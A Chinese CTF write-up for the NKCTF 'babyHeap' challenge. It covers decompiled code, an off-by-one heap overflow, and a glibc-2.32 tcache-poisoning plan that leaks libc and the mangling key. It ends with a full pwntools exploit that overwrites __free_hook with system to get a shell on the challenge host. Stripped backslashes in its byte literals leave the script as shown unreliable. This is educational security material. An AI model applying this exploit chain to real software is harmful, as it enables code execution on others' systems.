一 程序分析
IDA静态分析
伪代码分析
main函数
int __cdecl main(int argc, const char **argv, const char **envp) { int choice; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v6; // [rsp+8h] [rbp-8h] v6 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 4uLL); choice = strtol(buf, 0LL, 10); if ( choice <= 5 && choice > 0 ) break; puts("Index error."); } if ( choice == 5 ) break; switch ( choice ) { case 1: add(); break; case 2: delete(); break; case 3: edit(); break; default: show(); break; } } puts("Goodbye and welcome to use it next time."); return 0; }
add函数
unsigned __int64 add() { signed int index; // [rsp+Ch] [rbp-14h] int size; // [rsp+10h] [rbp-10h] char buf[4]; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Enter the index: "); read(0, buf, 4uLL); index = strtol(buf, 0LL, 10); if ( (unsigned int)index > 0xF ) { puts("Up to 16 nkctf notes can be created."); } else if ( note_array[index] ) { puts("Sorry, this nkctf note has already been used."); } else { printf("Enter the Size: "); read(0, buf, 4uLL); size = strtol(buf, 0LL, 10); if ( size <= 256 ) { note_size[index] = size; note_array[index] = malloc(note_size[index]); if ( !note_array[index] || !note_size[index] ) my_error("malloc()", 0xFFFFFFFFLL); } else { puts("This nkctf note is too big."); } } return __readfsqword(0x28u) ^ v4; }
delete函数
unsigned __int64 delete() { unsigned int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Enter the index: "); read(0, buf, 4uLL); v1 = strtol(buf, 0LL, 10); if ( v1 > 0xF ) { puts("Index error."); } else if ( note_array[v1] ) { free((void *)note_array[v1]); note_array[v1] = 0LL; note_size[v1] = 0; if ( note_array[v1] || note_size[v1] ) my_error("free()", 4294967294LL); } else { puts("The nkctf note to be freed does not exist."); } return __readfsqword(0x28u) ^ v3; }
edit函数
unsigned __int64 edit() { unsigned int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Enter the index: "); read(0, buf, 4uLL); v1 = strtol(buf, 0LL, 10); if ( v1 > 0xF ) { puts("Index error."); } else if ( note_array[v1] ) { printf("Enter the content: "); my_read(note_array[v1], (unsigned int)note_size[v1]); } else { puts("The nkctf note to be filled was not created."); } return __readfsqword(0x28u) ^ v3; }
show函数
unsigned __int64 show() { unsigned int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Enter the index: "); read(0, buf, 4uLL); v1 = strtol(buf, 0LL, 10); if ( v1 > 0xF ) { puts("Index error."); } else if ( note_array[v1] ) { puts((const char *)note_array[v1]); } else { puts("The nkctf note to be printed was not created."); } return __readfsqword(0x28u) ^ v3; }
my_read函数【漏洞】
__int64 __fastcall my_read(__int64 a1, int a2) { unsigned int v3; // [rsp+10h] [rbp-10h] int i; // [rsp+14h] [rbp-Ch] for ( i = 0; i <= a2; ++i )//逻辑错误导致1个字节的溢出 { v3 = read(0, (void *)(i + a1), 1uLL); if ( *(_BYTE *)(i + a1) == 10 ) break; } return v3; }
分析总结
edit()
函数输入内容时使用的my_read()
函数,看名字都很可移:),其中根据创建时输入的chunkSize进行循环,由于逻辑错误导致会多读取一个字节,可以进行溢出。二 漏洞利用及原理
可利用漏洞
利用分析
0x?8
个字节时便可实际输入0x?9
篡改下一个chunkSize
,于是我们可以进行如下利用:◆申请3个大小为0x68
的chunk
◆通过溢出篡改chunk#1->size=0xF1
◆释放chunk#1
使其进入Tcache#0xf0
◆重新申请chunk#1
,大小为0xE8
chunk#1
被重新至于原位且此时记录大小为0xE8
,真实大小依旧为0x68
,可随意篡改,泄露chunk#2
,于是进行以下利用:◆篡改chunk#2->size=0x4b1
◆申请4个大小为0x100
的chunk
◆释放chunk#2
使其进入Unsorted Bin
◆向chunk#1
中填充大小为0x70
的字符
◆使用show()
函数打印chunk#1
以泄露main_arena
glibc-2.32
,由于应用了Tcache
,所以决定使用Tcache poisoning
进行任意地址写。利用原理和注意事项
Tcache
整体和FastBin
较相似,同采取单链表 LIFO进行管理,也既其FreeChunk
仅有fd
字段,区别是在利用时,FastBin
等都将对ChunkHeader
进行检查,而Tcache
的检查极其少,导致安全性低,其中值得注意的一项检查和一项保护措施分别如下:◆针对fd
字段的混淆
◆针对被申请地址的对齐检查
◆tcache_perthread_struct
结构体中的counts
字段记录了当前分类中存在多少个可分配FreeChunk
glibc-2.31
后,对FastBin/Tcache
的fd
字段进行了混淆保护,当第一个FreeChunk
进入分类中时,&FreeChunk#0 >> 3
将作为key被保存并写入FreeChunk#0->fd
,而后该分类的每个FreeChunk->fd
在存取时都将与key
进行异或,所以若是我们要篡改fd
字段,则需要泄露key。
glibc 2.29
之前,TcacheChunk
以16 bytes
进行对齐,而在这之后,当申请的大小64<=size<=128
,则以16 bytes
进行对齐,其它情况下则以8 bytes
进行对齐,所以若是申请的&FakeChunk
不符合对齐条件,需要-=8
以绕过检查。tcache_perthread_struct->counts=0
时,则会直接跳过Tcache
从而去别处分配。注意事项的解决方案:
Tcache[X]->key
后在篡改fd时与真实Address
进行异或。malloc(): unaligned tcache chunk detected
,则将FakeFd-8。
tcache_perthread_struct->counts+1
或者篡改FreeChunk#1
或之后FreeChunk
的fd
以保证在申请到FakeChunk
前tcache_perthread_struct->counts!=0。
三 Exploit
from pwn import * #p = process(["./ld-2.32.so", "./pwn"],env={"LD_PRELOAD":"./libc-2.32.so"}) #p = process("./pwn") context(os='linux', arch='amd64', log_level='debug') p = remote("node2.yuzhian.com.cn",36361) libc = ELF("./libc-2.32.so") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #gdb.attach(p) sleep(1) def add(index,size): p.sendlineafter("Your choice: ","1") p.sendafter("Enter the index: ",str(index)) p.sendafter("Enter the Size: ",str(size)) def free(index): p.sendlineafter("Your choice: ","2") p.sendafter("Enter the index: ",str(index)) def edit(index,content): p.sendlineafter("Your choice: ","3") p.sendafter("Enter the index: ",str(index)) p.sendafter("Enter the content: ",content) def show(index): p.sendlineafter("Your choice: ","4") p.sendafter("Enter the index: ",str(index)) add(0,0x68) add(1,0x68) add(2,0x68) add(3,0x100) add(4,0x100) add(5,0x100) add(6,0x100) add(7,0x68) add(8,0x68) add(9,0x68) add(10,0x68) add(11,0x68) add(12,0x68) payload = b"A"*0x68 payload += b"xE1" edit(0,payload) free(1) add(1,0xD8) payload = b"A"*0x68 payload += b"x71" edit(0,payload) payload = b"x00"*0x68 payload += p64(0x4b1)+b"n" edit(1,payload) free(2) payload = b"A"*0x70+b"n" edit(1,payload) show(1) mainArena = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))-96-0xa mallocHook = mainArena-0x10 libcBase = mallocHook - libc.sym['__malloc_hook'] freeHook = libcBase + libc.sym['__free_hook'] systemCall = libcBase + libc.sym['system'] oneGadGet = libcBase+0xdf54c oneGadGet1 = libcBase+0xdf54f oneGadGet2 = libcBase+0xdf552 print("libcBase ==================> 『{}』".format(hex(libcBase))) print("mainArena ==================> 『{}』".format(hex(mainArena))) payload = b"x00"*0x68 + p64(0x4b1)+p64(mainArena+96)+p64(mainArena+96)+b"n" edit(1,payload) free(3) free(4) free(5) free(6) add(3,0x68) add(4,0x68) add(5,0x68) add(6,0x68) free(3) free(4) payload = b"A"*0x6e+b"Mn" edit(1,payload) show(1) p.recvuntil("Mn",drop=True) key = u64(p.recvuntil("n",drop=True).ljust(8,b"x00")) fakeChunk = freeHook fakeChunkX = (freeHook)^key fakeChunkM = (mallocHook)^key payload = b"A"*0x68+p64(0x71)+b"n" edit(1,payload) payload = b"A"*0x68 payload += b"xE1" edit(7,payload) free(8) add(8,0xD8) add(4,0x68) free(9) payload = b"A"*0x6f + b"n" edit(8,payload) show(8) p.recvuntil("An",drop=True) heapAddr = u64(p.recvuntil("n",drop=True).ljust(8,b"x00")) ^ key edit(0,b"/bin/shx00;n") binsh = heapAddr-0x150 print("mainArena ==================> 『{}』".format(hex(mainArena))) print("key ==================> 『{}』".format(hex(key))) print("fakeChunk ==================> 『{}』".format(hex(fakeChunk))) print("fakeChunkX ==================> 『{}』".format(hex(fakeChunkX))) print("heapAddr ==================> 『{}』".format(hex(heapAddr))) print("binsh ==================> 『{}』".format(hex(binsh))) print("libcBase ==================> 『{}』".format(hex(libcBase))) print("freeHook ==================> 『{}』".format(hex(freeHook))) payload = b"A"*0x68 + p64(0x71) + p64(fakeChunkX)+b"n" edit(8,payload) add(13,0x68) add(14,0x68) payload = p64(systemCall)+b"n" edit(14,payload) free(0) p.interactive() p.close()
看雪ID:LeaMov
https://bbs.kanxue.com/user-home-952954.htm
原文始发于微信公众号(看雪学苑):【NKCTF】babyHeap-Off by one&Tcache Attack
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论